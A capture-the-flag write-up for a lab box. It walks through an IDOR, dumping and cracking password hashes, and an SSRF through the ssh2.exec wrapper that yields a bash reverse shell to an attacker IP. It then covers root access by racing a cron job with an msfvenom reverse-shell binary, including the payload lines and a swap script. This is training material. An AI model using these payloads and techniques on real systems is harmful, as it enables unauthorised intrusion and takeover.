This is a linux hard box focusing on SSRF which you can use in turn to trigger ssh2.exec. This executes on the box giving a reverse shell. On the box we escalate to eric with previously cracked hash. Using pspy, we find a binary running via cronjob. The binary objcopy is used to check a file, with in turn we replace with our malicious binary that upon execution gets us a shell as root.

Initial Nmap

1
2
3
4
5
6
7
8
PORT   STATE SERVICE REASON         VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.5
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

FTP for smiles

Looking at FTP and trying anonymous logon get us nothing. Moving on.

HTTP

Scanning this site gives us the domain name era.htb we can add to our hosts file. Looking at the site nothing special.

We can scan for subdomains, which we get a hit on file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
konoha# ffuf -u http://era.htb -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H 'Host: FUZZ.era.htb' -fl 8
<
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://era.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.era.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response lines: 8
________________________________________________>

file [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 42ms]

After adding it to our hosts file we can visit.

From the looks its a storage management page were we can upload files. If we try register.php we get a page we can sign up.

Once done we get redirected to a login page, looking around we see a upload files tab. Lets try this.

Once we upload our file we get a link returned.

We should try fuzzing this as it reeks of IDOR(Insecure Direct Object Reference). We can send this to burpsuite, and try numbers from 1 to our id number (4672). We add the position, start the attack and look at our lengths. We can see off the bat, id number 54 has a different length. Looking at this reveals the site backup, which we download.

Source Code for Downloading - Admin

Looking into this zip file we see the download.php we just used. We can look at the source code to see how this works. Upon looking at it, we find this bit that works only for admins.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];

if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}

try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}

We also have a sqlite database, which we can dump.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
konoha# sqlite3 filedb.sqlite '.dump'
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE files (
fileid int NOT NULL PRIMARY KEY,
filepath varchar(255) NOT NULL,
fileowner int NOT NULL,
filedate timestamp NOT NULL
);
INSERT INTO files VALUES(54,'files/site-backup-30-08-24.zip',1,1725044282);
CREATE TABLE users (
user_id INTEGER PRIMARY KEY AUTOINCREMENT,
user_name varchar(255) NOT NULL,
user_password varchar(255) NOT NULL,
auto_delete_files_after int NOT NULL
, security_answer1 varchar(255), security_answer2 varchar(255), security_answer3 varchar(255));
INSERT INTO users VALUES(1,'admin_ef01cab31aa','$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC',600,'Maria','Oliver','Ottawa');
INSERT INTO users VALUES(2,'eric','$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm',-1,NULL,NULL,NULL);
INSERT INTO users VALUES(3,'veronica','$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK',-1,NULL,NULL,NULL);
INSERT INTO users VALUES(4,'yuri','$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.',-1,NULL,NULL,NULL);
INSERT INTO users VALUES(5,'john','$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6',-1,NULL,NULL,NULL);
INSERT INTO users VALUES(6,'ethan','$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC',-1,NULL,NULL,NULL);
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('users',16);
COMMIT;

Putting these into a file and attempting to crack with john the ripper.

1
2
3
4
5
6
7
8
9
10
11
konoha# john --wordlist=/usr/share/seclists/Passwords/xato-net-10-million-passwords.txt hashes
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mustang (yuri)
america (eric)
2g 0:00:00:23 0.02% (ETA: 2025-07-29 00:21) 0.08340g/s 54.04p/s 246.2c/s 246.2C/s moose..blahblah
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

Security Questions

We saw a update security questions tab, since we have usernames lets try to reset the admin password.

After doing so we get this response.

Lets try to sign in as the admin now. Instead of using a password we can use the security questions we just updated.

After filling these in, we can login. Once the verify and login button is pressed we are redirected to our file storage dashboard.

Once there we see the signing and site backup zip files. We knew about the site backup. We have the source code which if we rememeber we have a little piece we can try now that we’re admin.

Exploiting the flaw in a new Era 😃🤣

So for this we are going to use the show parameter and the format parameter we saw from the download.php. Looking at the code if :// is used it will treat whatever is passed as a wrapper. We can try to get a reverse shell using the ssh2 library. Cool trick if I might add, first we have the password for yuri and eric we can try either, I’ll use yuri.

First we can copy the link and then go to it in our web browser, meanwhile intercepting with burpsuite. Then send it to repeater and add this to the request.

1
/download.php?id=150&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.7/9001+0>%261;'

The URI starts with ssh2.exec, using the ssh library. Then we have “://yuri:mustang@127.0.0.1:22“ this part is the connection via localhost on port 22(ssh). Then we add our command we want to run, this being the “/bash+-c+’bash+-i+>%26+/dev/tcp/10.10.14.7/9001+0>%261;’“. Once ran we get a hang and a call back.

Yuri-ka!!!! We did it!!!

We can start by looking at users on the box.

1
2
3
4
5
yuri@era:~$ cat /etc/passwd | grep sh$
cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
eric:x:1000:1000:eric:/home/eric:/bin/bash
yuri:x:1001:1002::/home/yuri:/bin/sh

We have eric, we can try to escalate to him with his password.

1
2
3
4
5
yuri@era:~$ su eric
su eric
Password: america
python3 -c 'import pty;pty.spawn("/bin/bash")'
eric@era:/home/yuri$

So Eric, now what??

After switching to eric, we looked at typical empty dirs to find one not so empty.

1
2
3
4
5
6
7
8
eric@era:/home/yuri$ cd /opt
cd /opt
eric@era:/opt$ ls -lsa
ls -lsa
total 12
4 drwxrwxr-x 3 root root 4096 Jul 22 08:42 .
4 drwxr-xr-x 20 root root 4096 Jul 22 08:41 ..
4 drwxrwxr-- 3 root devs 4096 Jul 22 08:42 AV

This seems to be a AV binary of some sort, there’s a monitor ELF file we don’t have access to run, yet we are in the group who can modify it.

1
2
3
4
5
6
7
8
9
10
eric@era:/opt/AV/periodic-checks$ ls -lsa
ls -lsa
total 32
4 drwxrwxr-- 2 root devs 4096 Jul 28 19:55 .
4 drwxrwxr-- 3 root devs 4096 Jul 22 08:42 ..
20 -rwxrw---- 1 root devs 16544 Jul 28 19:55 monitor
4 -rw-rw---- 1 root devs 205 Jul 28 19:55 status.log
eric@era:/opt/AV/periodic-checks$ id
id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)

PrivEsc

I wanted to look at other process running and maybe crons. I copied over pspy64 to see any processes running in the background we might have missed.

1
2
3
4
5
6
7
8
9
10
11
12
13
2025/07/28 20:01:04 CMD: UID=0     PID=5038   | rm -f text_sig_section.bin
2025/07/28 20:02:01 CMD: UID=0 PID=5045 | /usr/sbin/CRON -f -P
2025/07/28 20:02:01 CMD: UID=0 PID=5046 |
2025/07/28 20:02:01 CMD: UID=0 PID=5047 |
2025/07/28 20:02:01 CMD: UID=0 PID=5048 | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
2025/07/28 20:02:01 CMD: UID=0 PID=5049 | /bin/bash /root/initiate_monitoring.sh
2025/07/28 20:02:01 CMD: UID=0 PID=5050 | /bin/bash /root/initiate_monitoring.sh
2025/07/28 20:02:01 CMD: UID=0 PID=5051 | /bin/bash /root/initiate_monitoring.sh
2025/07/28 20:02:01 CMD: UID=0 PID=5052 | /bin/bash /root/initiate_monitoring.sh
2025/07/28 20:02:01 CMD: UID=0 PID=5053 |
2025/07/28 20:02:01 CMD: UID=0 PID=5054 | /bin/bash /root/initiate_monitoring.sh
2025/07/28 20:02:01 CMD: UID=0 PID=5055 | ???
2025/07/28 20:02:01 CMD: UID=0 PID=5057 | /opt/AV/periodic-checks/monitor

Ok, so we see that it runs objcopy to check monitor. When I was reseaching I came across a article talking about a race condition we could try to abuse. I came up with a very small script the will take my reverse shell binary I cooked up with msfvenom and the copy of monitor I made and continuously replace each other, hoping this will be enough to beat the race condition.

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

TARGET_FILE="/opt/AV/periodic-checks/monitor"

LEGIT_FILE="/tmp/monitor"
MAL_FILE="/tmp/lame"

while true; do
cp "$MAL_FILE" "$TARGET_FILE" 2>/dev/null
cp "$LEGIT_FILE" "$TARGET_FILE" 2>/dev/null
done

After getting a listener ready, we get a copy of monitor to /tmp and our malicous ELF binary over to the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
eric@era:/tmp$ cp /opt/AV/periodic-checks/monitor .
eric@era:/tmp$ wget 10.10.14.7/lame
--2025-07-28 20:40:02-- http://10.10.14.7/lame
Connecting to 10.10.14.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/octet-stream]
Saving to: ‘lame’

lame 100%[===================>] 194 --.-KB/s in 0.003s

2025-07-28 20:40:02 (73.4 KB/s) - ‘lame’ saved [194/194]

eric@era:/tmp$ wget 10.10.14.7/privCheck.sh
--2025-07-28 20:40:20-- http://10.10.14.7/privCheck.sh
Connecting to 10.10.14.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 222 [text/x-sh]
Saving to: ‘privCheck.sh’

privCheck.sh 100%[===================>] 222 --.-KB/s in 0s

2025-07-28 20:40:20 (24.4 MB/s) - ‘privCheck.sh’ saved [222/222]

eric@era:/tmp$

REVERSE SHELL
msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=9001 -f elf > lame

After waiting a minute or two….or five 😑, we finally get a callback.

1
2
3
4
5
konoha# rlwrap -cAr nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.79] 52422
id
uid=0(root) gid=0(root) groups=0(root)